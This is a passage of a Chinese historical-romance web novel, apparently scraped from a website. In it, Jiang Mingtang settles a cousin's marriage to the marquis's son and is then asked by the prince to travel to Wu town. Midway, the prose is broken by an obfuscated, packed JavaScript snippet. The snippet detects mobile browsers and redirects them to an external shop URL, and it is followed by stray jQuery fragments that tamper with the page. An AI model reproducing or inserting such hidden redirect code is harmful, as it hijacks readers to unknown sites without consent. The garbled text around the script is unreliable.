“哦?你有法子?”
敬太妃来了兴致,眼里划过一抹光亮。
姜明棠轻笑着应是,“百花宴上侯夫人准备的佳酿甚多,各府的公子小姐聚在一起吟诗作对,彼此心生爱慕也属正常,一帮小年轻嘛,喝多了酒......情难自禁也是正常?”
周嬷嬷站在后方,瞧着姜明棠竟然轻而易举的就给敬太妃哄的消了气,对她佩服的五体投地,一双眼里全是赞赏。
“嗯,你接着说。”
“既然小侯爷说了愿意对嫣儿负责,那我们又有什么可不同意的?只管大肆的宣扬出去靖安侯府的小侯爷早就对柳家大小姐情根深重,这次宴会本来就是为了几日后的上门提亲做准备。”
姜明棠说着,仔细的盯着敬太妃的反应,看她没什么表示,就知道这件事差不多成了。
毕竟,她也没得选了。
敬太妃当然也知道,姜明棠说的已经是最好的解决方案了。
柳梦嫣在众人面前失贞,别说再嫁入皇家或者给谢承渊当个侧妃,以后怕是七等官员的家见着她都得绕道走。
相比之下,靖安侯府已经是最好的选择了。
敬太妃是真的觉得心累,她原本还想着今年过年的时候着找个合适的由头把柳梦嫣塞进儿子的房中做个侧妃,却没想到儿子腿废了,侄女也留不住了。
她摆了摆手,握着姜明棠的手腕把她拉至身前,细细的打量着,对她越来越满意。
“算了,本宫也倦了,就按你说的法子整吧,本宫也没心思再见靖安侯府的那些蠢货了,嫣儿婚事的商讨事宜,本宫就全全交由你来打理。”
姜明棠也不知敬太妃这是怎么了,竟然将这种事情都交给她了。
虽然不情愿,可还是应下了。
敬太妃喜欢她的妥帖乖巧,甩手让她下去,临走前又附加了一句话,“侯府和柳家随你去,只是记住一点,办的甚大一点,别让别家觉得我们王府小气。”
“是,母妃放心,儿臣都记下了,一定给嫣儿办的风风光光。”
她说完就带着盼儿退下了,心里止不住的想,敬太妃还真是个好面子的女人,这种时候了,都不忘不能失了体面。
盼儿倒是心有不甘,和姜明棠一起退出来后明显不悦。
“你这是怎么了?”
姜明棠心中的大石头落了地,看盼儿挂着脸,好脾气的问了她一句。
“王妃,奴婢只是觉得这太妃娘娘也未免太过厚此薄彼了吧。奴婢可还记得清清楚楚,王妃你嫁过来的时候,王府就只有门前绑了两根红绸草草了事,府内一点喜庆之色都没有,怎么放到一个表小姐身上,就得办的这么大张旗鼓。太妃娘娘怕不是忘了那表小姐姓柳?不是谢!”
盼儿义愤填膺的倒着肚子里的苦水,明显是在为姜明棠打抱不平。
姜明棠正是因为知道她所思所想,这才没出言责怪她。
“可是你别忘了,太妃娘娘也姓柳。”
只这一句,盼儿顿时偃旗息鼓。
姜明棠想的很开,敬太妃是对儿子亲热还是对侄女亲热她并不在乎,整个王府不需要她掌权她也乐得自在。
或许用不了两年,谢承渊就会和自己和离了。
届时,肃王府的一切就都和她没关系,所以她什么都不在乎。
盼儿也知道肃王府当家作主的人是谁,只是抱怨了两句便也闭嘴,姜明棠整个下午都和靖安侯夫妇商讨着婚期还有聘礼相关事宜。
她时刻记着敬太妃的嘱托,也想着早点把柳梦嫣弄出去免得她再生事端。
所以和侯夫人一拍即合,将婚期定在了一周后。
等到一切都商量好,送走了他们,又给柳家去了信,她才一下一下的捶着肩膀往望舒院走去。
天色已经完全暗下来,整个肃王府灯火通明。
姜明棠一只脚踩进了望舒院,走了两步才觉得不对劲,她环顾四周看了两眼,朝着谢承渊寝宫和星岚阁的方向快步跑去。
不出所料的,看见了谢承渊的寝殿一室灯火,不像前几日一样冷冰冰的。
他回来了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097609|195674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是因为柳梦嫣的事情吗?
姜明棠有些忐忑,心不受控制的开始扑通扑通狂跳起来,眼里只剩下那座亮着灯光的寝殿,全然没注意到坐在凉亭里喝茶瞧这边看来的谢承渊。
谢承渊整个人穿着黑色的夜行衣,坐在凉亭里,几乎是要与黑夜融为一体。
而他身后的程梧也是这副打扮,所以这主仆俩最开始都没发现这边的动静。
谢承渊就这样趁着夜色,直勾勾的看向姜明棠这边。
偏偏姜明棠还对此毫无知觉,她安静的站在原地看了两眼,转身就要走,反正谢承渊还没过来问责不是吗?
能躲一会儿是一会儿。
她抬脚就要溜走,转眼却被前方的人叫住。
“明棠。”
姜明棠在听见声音的一瞬间石化,呆呆的站在那眼睁睁的看着程梧推着轮椅将谢承渊送至自己面前。
“殿下,你回来了。”
她有些心虚,眼神也飘忽不定的乱窜着,半天没落在实处。
“嗯,回来是找你有事。”
男人的声音很轻,听不出来喜怒,却让姜明棠的一颗心瞬间提到了嗓子眼。
完了,他这是发现了什么要问罪了吧!
姜明棠心一狠,眼一闭,带着视死如归的语气开口,“殿下,表小姐的婚事......”
“药方里少......”
两人几乎是同一时刻张嘴,姜明棠有些尴尬,虽然刚刚也没听清谢承渊到底要说什么,但也知道了他大概不是为了柳梦嫣才来找自己的,马上松了口气。
就这样,她眼睛又亮了起来。
“殿下,你说要什么?”
谢承渊淡淡开口,“是药方,李修泽已经看过了药方,但是想要配出具体的用量还需要一段时间,有一味药材可能会不够,所以我想来问问你,有没有时间和本王去一趟邬镇?”
“邬镇?”
姜明棠念叨了一下这个小镇的名字,总觉得这地方怪熟悉的,好像在哪听过。